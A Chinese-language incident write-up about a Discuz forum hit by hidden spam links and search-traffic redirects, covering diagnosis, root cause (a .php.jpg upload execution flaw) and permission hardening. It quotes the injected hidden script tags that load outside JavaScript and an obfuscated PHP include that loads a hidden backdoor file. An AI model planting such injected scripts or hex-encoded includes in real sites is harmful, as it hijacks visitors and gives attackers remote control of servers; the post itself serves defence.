论坛被挂暗链问题分析与解决

发现问题

有网友反映我们的论坛被挂了暗链，具体表现为从 google 搜索论坛名称结果如下图所示：

直接搜索论坛网址出现的一些热门帖子也被挂了暗链，通过 google 搜索结果访问会跳到恶意网站，

解决问题

直接通过网址访问论坛则没有任务问题，应该是论坛被注入了恶意代码，一时没被发现。

在代码和数据库dump结果中搜索恶意站点信息，一无所获
然后怀疑是用户上传的图片中挂了马，特别是联想到首页最近刚上热图轮播，安装 firefox 插件 ImageBlock 让浏览器不加载图片，可是问题依旧
打开 firebug 的 Network 标签，在页面加载记录中发现一个异常的js加载： http://api.discuz.com.de/Seo.js

在代码和数据库中搜索这个js找不到任何信息。
- 将恶意站点配置一条 hosts
```
127.0.0.1 api.discuz.com.de
```
浏览器不再自动跳转到恶意网站了。

从 google 跳转到论坛后，查看页面源代码在最开始部分发现了引入恶意js的语句

<div style='display:none'><script language='javascript' src='http://count31.51yes.com/click.aspx?id=310940343&logo=1' charset='gb2312'></script></div><script type='text/javascript' src='http://api.discuz.com.de/Seo.js'></script>

在php脚本中加入 echo 语句逐步缩小范围，最终发现问题由下面一条语句引起
```
INCLUDE(pack('H*','2f7661722f746d702f2e53595344554d502f2e576830416d492e434f5245'));
```
上面的语句引入了 /var/tmp/.SYSDUMP/.Wh0AmI.CORE 脚本。

删除该语句后问题解决。

上面的脚本被恶意用户完成对系统的远程控制。

问题根源

这次发现的恶意代码注入应该是之前的一次 nginx 和 php 安全漏洞引起，当时由 WooYun.org 汇报，原来已经被恶意用户种下了这些后门。

这个漏洞简言之就是用户可以上传文件后缀为 .php.jpg 的文件，在外部访问时直接被当做 php 执行，罪魁祸首归结为以下三点：

php 配置
nginx 配置
discuz

允许上传文件名指定后缀为 .php.jpg

加固措施

采用更严格的文件目录权限
- 列出属主不应该为 nobody 的目录：
```
find . -type d  | xargs ls -lad | grep nobody | grep -v '/data'
```
  除 discuz 要求为可写的目录（路径名包启/data）外，其它所有文件及目录属主都改为非 nobody 用户。
  
  需要注意的是 source/plugin/ 下的所有目录需要为所有用户添加上可执行权限（特别是自已开发并上传解压的插件），否则访问插件时会出现以下错误提示：
```
指定的插件模块文件(XXXXXXXXXX)不存在或存在语法错误，请检查是否已将插件完整上传
```
- 列出属主不应该为 nobody 的文件：
```
find . -type f  | xargs ls -la | grep nobody | grep -v '/data'
```
  除 discuz 要求为可写的文件（路径名包启/data）外，其它所有文件属主都改为非 nobody 用户。
- 列出 nobody 可写的文件
```
find . -type f ! -perm 0644  | xargs ls -la | grep -v '/data/'
```
  收回非必要的写权限。
确保上传目录中的 php 文件不会被当做 php 执行
- data/attachment
- uc_server/data/avatar
- uc_server/data/tmp
